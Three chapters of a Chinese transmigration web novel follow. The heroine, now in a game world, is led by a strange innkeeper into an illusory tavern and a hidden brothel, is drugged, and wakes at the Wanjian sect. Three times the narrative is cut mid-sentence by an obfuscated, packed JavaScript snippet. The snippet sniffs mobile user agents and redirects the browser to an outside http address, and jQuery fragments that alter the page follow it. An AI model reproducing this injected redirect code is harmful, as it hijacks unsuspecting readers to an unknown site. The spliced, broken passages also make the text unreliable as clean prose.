“感谢阁下出手相救。”
程澄把他扶起,对着一双双充满感激的眼睛,干笑道:“其实我还什么都没做呢。”
周围的人仍是一副崇拜又感激的模样,就差把‘真是谦虚’写在脸上。
然而,程澄的确没有在自谦。
她右手微动,正欲顺走萧荷的剑和他们干一架,剑还没拿上呢,对面就一副见了鬼的模样落荒而逃了。
“道友这是准备出城去哪?”萧荷凑过来,问道。
“去万剑宗。”程澄有些不好意思地说道。
那群人的视线又纷纷投来。
“哇——这么巧,我们也正要回宗门呢,我带你进去吧。”
“不用不用,我们走得比较慢,就不劳烦道友了。”
程澄急忙推诿道,虽然她现下的外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256421|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
貌和游戏皮已经毫无关联了,但人多眼杂,自己的习惯动作或许会出卖她的真实身份。
萧荷凑过来还打算再说,却被身旁的队友一把拉住了,吴含光垂头恭敬道:
“那就不挽留道友了,珍重。”
程澄摇了摇手臂,冲他们告别后就回到了自己的队伍里。
“师父,听说你又以一当十,完败那群湮城魔人。”李箜月兴奋地挤了过来,问道:
“师父师父——你这次用的是哪招哇?”
程澄连忙摆手道;“不知道啊,感觉他们不是因为我才逃的……”
“话说,你从哪听说的?”
李箜月让出身位,“俞铮他说担心你,就过去看了,我就问了他现场的情况。”
程澄眨了眨眼,语气染上一层疑惑:
“是吗,我怎么没注意到你?”
她虽是站在人群中,但对于周身的感知力却是十分敏感的,如果俞铮在周围看着,她不应该没察觉到。
“我在姑娘身后,可能你专心应敌,没注意到我。”
俞铮仍是一副柔弱安静的模样,声音轻如羽毛。
程澄的目光落在他脸上,愣是翻不出一丝蹊跷。
“师父,你是不是太累了?”李箜月看着她僵凝的脸色,有些关心道:
“师父,你把药篓子给我吧,我现在正是缺锻炼的时候。”
程澄噗嗤一声笑了,没理会她,跟着前进的队伍一起往前走。
出关后他们走了快三天,终于是快到了万剑宗的山脚下。
“师父,前面有个客栈——”
李箜月从不远处跑过来,脚底踩着树叶,吱呀作响
程澄启唇刚想说话,眼底有一条黑影闪过。她的手被汗水濡湿,一边在裤腿摸索着武器,一边喊道:
“箜月,小心!”
李箜月回头一看,那是一条肉实身长的蟒蛇,在斑驳的树影下泛着银质的幽光。
她惊恐的眸子里映射出一张血盆大口,尖叫声还未发出,“嗖”的一声——蛇头飞了出去。
程澄冲了过来,视线落在不远处的蛇尸,那是一支石箭,穿透了蛇头,死死地钉在石缝上。
“你们没事吧?”
陌生的声音从荫蔽处传来,随后树叶遮蔽处一个身影走了出来。
晦暗的月色下依稀可以看清,那是一个青年男子,身材胖实,带着安慰的笑容,看上去温和敦厚。
“我是客栈的老板,若不嫌弃,我们到里面说。”
他把石箭从蛇头上拔了出来,蛇头扑通一声坠在草地上。
“那就劳烦您了。”程澄打量的目光落在他身上,说道“我们正准备找地方过夜呢。”
她玩游戏的时候,怎么不记得万剑宗附近还有客栈……
还有,这个老板似是个常年操刀的,虎口的茧子不小,腿脚倒不太好,有些跛脚。
“那你们跟我来,小心脚下。”男子的背影隐入黑暗中,声音从前方传来,似有些颤抖。
有些奇怪,这个地方。
程澄跟了上去,袖中的匕首死死地握在掌间。剩余两人也跟着一起往前,向着视野尽处那点荧荧的微光。
在没有人注意的角落处,落于草地上的蛇头,不知何时,一点点被黑暗吞噬。
再一看,仿佛是错觉般,众人走过的脚印也奇迹般地消失了。
11. 走失
远远地望去,那栋建筑好似荒楼,隐匿于重叠晦暗的枝叶中。
程澄一边注意着脚下,用腿在及膝的枯叶堆中拨出一条路,视线时不时落在男子的背影。
他一瘸一拐地在枯叶堆中摸索着道路,背上的木弓跟着一颤一颤。
一行人踩在树叶上,发出咔擦的脆响,一声,两声,三声……五声。
第五声似乎从她的背后传来,程澄有些诧异,似是为了确认,她的视线又重新扫向前面的几人,男子、李箜月、俞铮。
后面的脚步声,是谁的?
她状似无觉地往前走,随手掏出一个桔子,霎时,淡淡的柑橘香溢了出来——脚步声忽地停下。
“姑娘,不要落队了。”最前面的男子转过头来,视线死死地粘在她手心的桔子,声音远远地荡过来,如石子掷向静水,在密集的丛林中激起阵阵回声。
程澄感觉自己似乎看到了诡异的一幕——那男子分明嘴都没张一下,声音却远远传来。
我是高手,我是高手,我是高手……
程澄虽被内心的猜想吓得汗毛直立,但还是努力地在对抗这股恐惧。
这种感觉像置身小学书店卖得那种恐怖小说里,相比这种神秘的恐怖,她倒宁愿对手是十个徐琢月,一百个黑虎帮的喽喽。
“程姑娘,怎么了?”一道温和的男声从身前传来,程澄仰起头,俞铮歪了歪头,乌黑的眸中透露着几分关心。
程澄摇了摇脑袋,什么也没说,但面上一闪而过的惧意被俞铮的视线捕捉。
“程姑娘放心,我守着你。”
俞铮走到她身后,声音如温水般流淌。
“不用了,我没什么的——”程澄下意识地想拒绝,俞铮却已经站在身后不远处,相隔不过半臂距离。
月影婆娑,程澄继续往前走,她的影子渐渐倾斜,与此一同的,是另一只高大宽阔的身影。
先前脊背泛起的阴冷感,好似也都被一阵温厚的气息取代。不到片刻,便觉得内心安稳了许多。
“就是这了——”男子的声音从不远处传来,招呼着他们过去。
程澄刚想跟上,却忽地感觉脚下的踩感有些特殊,不同于草地的松软,有些硌脚。
她蹲下身,拨开浮土,里面是盘根错节的根脉——那深褐的树根,好似一张瘦骨嶙峋的手掌,死死地攥着一个东西。
那是一个白花花的物体,程澄从篓中掏出一把小铁镐,想把根脉下的东西挖出来,但那树根好似坚石,在铁镐的尖口下丝毫没有松手的意思。
忽地,头顶传来温和的男声。
“程姑娘,李箜月好像在前面叫你。”
等把大家安定好再回来探查吧,这里的古木有些蹊跷,但又说不上具体是哪里,感觉哪哪都怪。
“行。”
程澄应声,拍了拍身上的土,跟了上去。
俞铮站在身后不远处,目光漫不经心地扫过四周错杂的古树。
忽然——他的视线死死地锁在某处,像是发现了什么,眼底深处闪过一丝银质的寒光。
程澄照着前面的脚印继续走,李箜月的声音似在眼前,又好像在很远的地方。
草地上褐色的脚印在此处断开,程澄仰头打量起眼前的草丛
——虽是无毒无刺的野草,但长势十分疯狂,枝叶相攀,足有两米高,似一堵密墙,将莹白的月光拦路斩断,舍下如泼的墨影。
李箜月和那个男人难道是直接穿过去的?程澄打量起眼前的这堵草墙,地面上的脚印的确是断在这里。
“俞铮?”程澄转过身去,背后是一片密林,哪还有俞铮的身影。
她又喊了几声,声音落在密林中竟像投入汪洋,毫无动静,好似被吞没了一般。
原路绕回去看看。
程澄摸了摸袖中的银质匕首,深吸一口气,视线落在草面上,刚想按照草上的脚印往回走。
但草面上的脚印不知何时消失了。
她转过身去,低头扫过草面,试探地踩上去,目光中,靴面上爬着许多深绿的杂草,好似蠕动的虫,在婆娑树影下扭动。
忽然,程澄感觉身后一阵凉风耸来,伴随着刷刷的声响,她转过身去,视线中出现了这样一幕
——那巨大的草丛,此刻竟如潮水般,退向两侧,让出一条狭窄幽闭的道路。
从外面望不到里面的情况,里面好似没有光源般,黑沉沉的一片,只能看清一点点道路的轮廓。
她深吸一口气,视线掠过四周,不知是不是她的错觉,周围的古木好像离自己更近了一些……
程澄轻轻地摩挲着掌心的银质匕首,冰凉的触感让她短暂地脱离焦躁。
现在只有这一个选择了,去看看这个地方有什么妖魔鬼怪。
几息间,她平复下胸中的波澜,迈腿跨进这一方幽闭的世界,黑影落在自己身前。
在她进来的瞬间,刷拉一声,身后的草丛又如涨潮般合拢,挡去了外面的月光,她的影子也沉陷在一片乌沉中。
程澄不知道她走了多久,漫长的黑暗中出现了一丝火光,忽明忽暗地,在道路的尽头微星似的闪烁。
走到近处时,那簇火光也在视野中展现出它全部的面貌
——那是一栋热闹的酒楼,红柱雕栏,斗拱层叠,底层牌匾上刻着“金雀楼”三个大字,中层刻着“忘仙”,上层牌匾隐约难辨,静立于檐牙交错间。
层楼上,红灯高悬,明明四下无风,此时竟也摇曳作态,铃铎清响。
“姑娘,进去吧。”
一个熟悉的声音从身后传来,程澄愣了一刻,猛地转过身去。
原本一直走在前面带路的男人,此刻竟出现在她的身后。
“他们人呢?”
她的一字一顿说道,声音似绷紧的弦,语气中不加遮掩地泛着怒气。
现在的剧情,有很多地方都和游戏里不一样。这个人,一定有问题。
程澄紧握住袖中的匕首,眉头紧蹙。浑身的力量沉在腕间,只待一个信号,便会像闪电般出袭。
“ 不知姑娘口中的‘他们’指的是?”男人面上挂着温厚的笑,眼睛眯成一条缝,声音缓缓。
程澄足尖轻点旋身,袖中匕首“铮”然弹出,下一秒,匕尖寒芒已贴喉游走,匕身倒映着男人绷紧的下颚。
“再问你一遍,他们在哪?”
她的声音黑云般乌沉沉地压了下去,手中的匕首稍一用力,那尖芒处溢出一丝红线。
“姑娘不妨进去瞧瞧,也许能找到您想要的人。”
那男子唇角不动,声音似从肚子里传出,又好像从周边传来。
程澄转身欲走,匕首
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256422|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从袖中滑落,落地无声,她却好似没有觉察,男子咧嘴笑着,弯下腰正想捡起匕首。
忽地——他愣在原地,维持着弯腰的姿势,身体僵直。视线里,匕首滑落的地方,空无一物。
怎么会—— 糟了!中了那个女人的圈套。
他挣扎着想要抬起头,身子却如同被千丝万缕束缚,动弹不得分毫,一同被剥夺的,是他的声音。
这是天河门的招式?她究竟是什么时候下的术法。
他垂着头,面上仍被迫挂着狰狞的笑,眯成缝的眸子中闪过露骨的杀意。
而程澄此时已经进了酒楼,楼内的风光让她有些诧异
——这酒楼内堂好一派华贵风光。
高阔厅堂里,朱红立柱如群峰耸立,撑起雕梁画栋的三层楼阁。廊下悬着素绢灯笼,将阶石都映得温润如脂。
大厅摆了数张红木桌,戏台上,伶人水袖翩翩,唱腔婉转,台下座无虚席,看客们磕着瓜子,或端着茶盏,细声交谈,小贩穿梭其间,吆喝着卖干果。
正中的楼梯蜿蜒向上,来往者步履轻缓,身姿婀娜。
“客官,是想要住店吗?”
一道清缓的男声从身侧传来,伴随着木屐落在木质地板上清脆的响声,一个身影挡住了程澄视线。
那人身着淡绿烟罗袍,襟畔绣金纹如碎光流转,长身玉立,手捧一青瓷小杯,茶烟袅袅升腾间,晕染开远山般的长眉,溪水般的眸子。
这又是个生面孔,程澄的目光谨慎地扫过眼前男子,问道:
“前面可有一女一男进店里来?女子同我这般岁数,男子是少年模样,青衣长衫,都背着个篓筐。”
男子轻笑两声,“客官若住下,我或可想起……”
砰的一声,他剩下的话被身后的巨响打断。身后不远处,硕大的青花瓷瓶忽地瓷身四裂,瓷片迸溅。
其中的一块小瓷片窣地划过男子的侧脸,在玉润无暇的脸上留下一道鲜红。
下一瞬,方才还载歌载舞的酒楼此时忽地陷入死寂,程澄的目光不留痕迹地扫过周身
——整楼人的目光都死死地扒在她身上,一言不发,就连台上的伶人,此刻也僵直着身子,目光死寂。
而那青衣男子仿若无觉,面上的鲜红顺着下颚低落在地板,他嘴角仍牵着笑意,接着上文,声音悠悠,在这空寂的大厅回荡。
“客官若住下,我或可想起你所寻之人。”
程澄不愿再和他们迂回,眉间似有乌云堆积,面沉如墨。
“住,现在就住。”
她随手掏出银两,掌间似有劲风,将那银两猛地拍在旁边的桌案上,旋即,红木桌面上凹出一个大坑。
男子却毫不在意,展颜一笑,将手中的瓷盏递过,语气有些旖旎:
“本店的规矩,不收银两,喝了我的茶,才能住。”
程澄轻哼一声,夺过茶盏,盏中液体漏出几滴,洒落在地板上。
男子蹙眉佯叹,“真浪费。”视线如蛛网般死死地扒在她的唇间,喉结似幅度极微地滚动了一下。
她将那盏中茶水一饮而尽,舌尖被热水烫得有些发麻,茶味一点没品出来。
她翻腕,倒了倒手中的茶盏,示意自己已经饮尽。
“客官随我来。”
男子转过身去,向着楼上走去。
12.万剑宗
明明从外部看来,这栋楼只有三层高,但程澄此时却觉得没有真实感,她仰头望去。
视线内是数不清的长阶,如游龙盘绕,螺旋着向上伸张。
她紧紧跟着青衣男子的步伐,不知走了多久。
一开始她还乐意通过数阶来判断自己身在几层,数到第五百阶的时候,她停止了猜想。
因为这已经超出了原定数目太多了,从楼外看,是三层的酒楼,但此时,根据换算,自己这已经快上到第三十层了。
忽然,身前的背影停了下来,程澄抬起头,迎面是一道气派的朱门,高大宽阔。
她觉得自己像迷你人误入大人国,仰着脖子想观察这扇门,视线里却只能装下它的一角。繁复的金色纹路似蟒般在一片朱红中攀沿、卷曲。
青衣男子静立于旁,微微垂首,七尺高的身材被这堵朱门衬得身材娇小。
视线粘在自己身上,不知在对谁说话。
“迎客——”
伴着吱呀的长声,朱门从里侧打开,露出一条缝,但那门过于庞大,以至于仅仅是一条缝,也足够两人并肩进入。
青衣男子走在前面,程澄紧跟其后。
纵使有着丰富的游戏经验,接下来的画面,还是让程澄瞠目结舌
——美男……遍地都是美男。
进门后,一阵温风裹挟着些许花香涌了过来,整个房间的概况尽收眼底,一片莺雀啼鸣,柳绿花红。
而那溪流柳下,万花丛中,古亭回廊中——稀落的男子身着各色各式的服饰,或吟诗作赋,或观流饮酒……
但他们都有一个共同点,那就是衣着松散,肉色裸露,扑面而来的男性荷尔蒙。
程澄默默地转过身去,在意识到自己看到了什么之后,她的心底蹦出一个想法。
这通天的阶梯,大概就是为了掩盖这处巨大的青楼罢。
“客官若看到感兴趣的,都可以享用。”
耳侧传来低沉的男声,语速轻缓,尾音似夹着细钩,染着些许旖旎的意味。
程澄头也不转,声音夹着些愠恼。
“我要见他们。”
青衣男子的身影离自己的后背越来越近,他的阴影叠在自己身上,似夹杂着些热气,烫得脖颈发热。
“当然,你且进屋等候片刻。”男子轻笑道,“人很快就来。”
她直直地穿过一片山水青色,这几步路的功夫,她觉似进了蛇窟,气息渐有些短促,好似无数道目光爬在自己身上,粘腻难耐。
程澄飞快进了间宽敞的屋子,几息间,她调理气息,驱动法阵,想在房内设下结界。
可那灵气刚凝结成阵,下一瞬,又好像蒸汽似的飘散了。
她端坐在红木雕花椅上,双手撑在膝上,眉间紧蹙,眼皮不停地向上扯动。
她好像有点困了……
一柱香后,她已经无法觉察尖锐的痛觉,更无法保持清醒了,她的身体似脱骨般,瘫倒在桌面上,发出砰的一声。
下一刻,紧闭的房门悠悠地从外部打开。
程澄拼着劲,眼睛只能睁开一条缝,先是一双黑靴,而后是木屐落在地板上的声音,清脆。
“少主,怎么处理她?”
意识的尽头,那道悦耳的男声说道。
“你们出去,我留这。”
……
程澄是被一束阳光照醒的。
她愣愣地望着这陌生的天花板,自己身上陌生的被褥,大脑宕机了一会。
身旁还有一个小男孩,他呆呆地看着自己,小嘴微张,然后好似忽地明白了什么,踏着小碎步冲了出去,扯着嗓子喊道:
“师尊——师尊,她醒了。”
自己这是在哪里?
程澄耳朵被刺得发疼,她拨开被褥,站起身,门外的竹影打在窗纸上,随风摇曳。
随后便听到几声急切的脚步,一个男子推门而入,小男孩跟在身后,怯生生得抱着腿,好奇的目光落在她身上。
“你是?”程澄似是很久没说话,声音夹着些沙哑。
面前的男子,看着好面熟……这身白袍,这个相貌,自己在哪里见过。
“禾呈——程,霜雪的霜,我叫程霜。”男子温声说道,“姑娘身子可有什么地方不适?”
他话音落地的那瞬,程澄想起来了
——这个人,就是她穿越进来,住的第一家旅馆里面的拦路客,身着白袍的那个。
刚刚他说,他叫……程霜?
“你就是程霜,万剑宗的那个?”程澄有些不确定的问道。
男子下颚轻点,即使说的话被无视了他也丝毫不恼,英气的眉宇间,落着一双黑曜石般沉默的眸子。
眼前的女子好似陷入了什么沉思,眉头紧蹙,似是有些惊讶。
他看这个女子,虽是身材瘦小,手掌细嫩,但动作间,不似是个平民百姓。
更何况,被魔神那小子盯着的人,更不可能是普通人了。
他的脑中闪过今早的画面。当时,他正在房内处理总务。
“师父——宗外有人叫您。”大宝扯着嗓子,声音穿过门窗,全宗人都听了个响。
程霜没有理会,继续翻着手里的书页,他今天没有约客人。
“师父师父,你快来吧!”大宝还不作休,拍着木门,继续喊道:
“那人进来了——实在是凶悍,师兄他们拦都拦不到!”
程霜将手中的书重重地摔在案上,拂袖出门。
走出门的瞬间,一束利风袭来。
几缕乌发飘飘然坠地。
霎那间,宗内寂静无声,旁边的弟子躲在鼎后,不敢动作。
程霜随手召来本名剑,眉间黑云紧迫,而那边的人正悠悠顺着台阶往上爬,怀中似乎还抱着个人。
“师兄,别来无恙。”熟悉的男声从对面悠悠传来。
程霜瞳孔巨震,他猛地抬起头。
视野里,自己那个辱师毁道的同门师弟,不,是同门师弟的少年版,满面血光,冲着自己,温和地笑着。
“你敢动我万剑宗的弟子,俞铮——我今天非与你鱼死网破!”
他手中剑光一闪,挽着剑花,足尖轻点,下一瞬,整个人都如箭般冲了出去,带起一阵强风。
嘶拉一声,一片青色布绸摇曳风间。程霜怒气横生,斜睨一眼,那人已瞬移至身侧。
轰隆隆——几道霜白的雷电如龙般于云间翻滚,霎那间,天地变色。
“今天没有时间和你玩。”俞铮语速轻缓。
下一瞬,他的嘴角绽开温和的笑容,眸光落在怀中,似闪过些许柔情。
“让她在你这里待着。”
程霜的目光扫过他怀中的人,那个身影被他掩得太过严实,但从衣服的式样,依稀可以看出是个女子。
魔神除了对师父,竟然还有别的在乎的人?
他点了点头,无声地应下了他的要求。倘若真重温起他抢溯灵镜的那日,恐怕宗内弟子都要遭难。
溯灵镜……
程霜的脑内闪过一丝猜测,眸中闪过一丝亮光,像是明白了什么。
……
“程宗主,我同行的两个人在哪?”
“在旁边的房间。”
“是谁送我来的?”
程澄有些疑惑,自己意识的上一瞬还在青楼,怎么下一秒就在万剑宗了,这其中的曲折,属实让人好奇。
“一个男的,比你小一点。”
比自己小一点的男性,程澄心下明晰,是俞铮送她来的,那看来两人都还比较安全。
只是——为什么俞铮能把她弄出来呢?
疑点太多,程澄心下决定等会亲自去问。
“他们还好吗?”
程霜点点头,“那个女子身上有几处伤痕,但也已经治疗完毕了。”
“我带你在宗门里转转吧,这应该是你第一次来。”程霜侧身让出一条路,垂眸望着她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264845|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等他们的身影消失在视野时,那群藏匿的宗门弟子如雨后春笋般,一波接一波地聚集在广场,叽叽喳喳地八卦起来。
“大宝,你说——宗主怎么好像和那姑娘很投缘的样子?”一个弟子摸了摸大宝圆溜的脑瓜,悄声问他。
“我怎么知道,那泼小子威胁宗主,宗主还对那女子仁至礼尽,要让我——趁那小子休息,一窝子全都仍下山。”
被叫大宝的小男孩挤眉弄眼道,童稚的声音里满是气愤。
那人又凑过身子,“大宝我跟你说个事,你别告诉别人啊。”
大宝听笑了,打量起眼前弟子装神弄鬼的神情,笑道:“啥事这么稀罕。”
那人将他扯到一边,看着他,暗声说道:
“大师姐他们下山那么久,是不是还没个信?”
大宝目光落在广场上的众人,一边漫不经心地点了点头。
“那个小子不知道说了什么,宗主立马就遣人去山脚下搜救。你猜怎么着?”
大宝皱了皱眉,肉鼓的脸挤成一团,像个发酵失败的面团。
“怎么了?”
“找着了——”那人单手捂在嘴边,悄声说:
“大师姐还有吴师兄他们一行人,就躺在那人说的地方,整整齐齐,身子都埋进了土里,跟种菜一样。”
大宝瞳孔紧缩,音量键似被误触般忽地拔高。
“什么!你听谁……”
剩下的话被那人捂在嘴中,只能发出呜呜的声响。
“那几个寻人的师兄,他们回来跟失了魂似的,饭也吃不下了。”
“师姐他们现在怎么样?”大宝又急声问道。
“活着呢,但是——”那人的语速极慢,像是一部卡死的留声机。
“脉息愈来愈弱了,我刚刚听药房的人说的,等会要禀报掌门。”
……
“你们许是遇上山贼了。”程霜的声音从身侧传来。
“这一带山贼众多,野草似的,剿也剿不尽。”
“不,不是山贼。”程澄笃定地说道,那片森林并不正常,那栋忽然出现的酒楼,更是蹊跷。
只不过她在想,这究竟是鬼神之作,还是什么秘法。她玩游戏这么多年,从未见过这种招式,或是此类鬼神副本。
思索之余,程澄的脑海又闪过那个给自己递茶的男子,记忆截断的地方,他到底想对自己做什么。
察觉到身旁人探究的视线,她转过头去,正对上程霜打量的目光。
程霜见偷看被发现,有些尴尬地抿了抿嘴,细声问道:
“不知姑娘,怎么称呼?”
“程澄。”
程澄无所谓地告诉了他,程霜应该认不出她,毕竟他和俞铮和自己是电子师徒的关系,只认识自己的网名,和游戏皮套。
程霜扬了扬眉,语调间仍是平平无起,好似一湾静水,只是有些许沙哑。
“哪个程?”
程澄有些不好意思地挠了挠后脑勺,干笑道:
“还挺巧的,和宗主您是一个姓氏。”
话音落在地上,身侧人迟迟没有回应。
两人漫步于竹林隙径,四周有燕雀啼鸣,大风一吹,这鸟雀成群地,就从这个枝条蹦到那根树梢。
几日前雨雪连天,今日就入了春。
扑通一声,大片的积雪落下,带起一片鸟雀叽喳。
身侧传来一阵清朗的笑声,程澄疑惑地侧目望去,那男子唇侧牵着笑意,眉目间似冰雪消融。
“哦?禾呈程,那后面的字是?”
“澄澈的澄。”
他又好似听到了什么开心的事,眼睛笑得眯成一条缝,朗声笑道
“好名字……真是好名字。”
程澄有些不好意思,垂头望着地板缝,声音干巴巴的。
“哈哈,是啊,宗主的名字也不错。”
说完她就觉得有些别扭,毕竟程霜的名字也是她取的。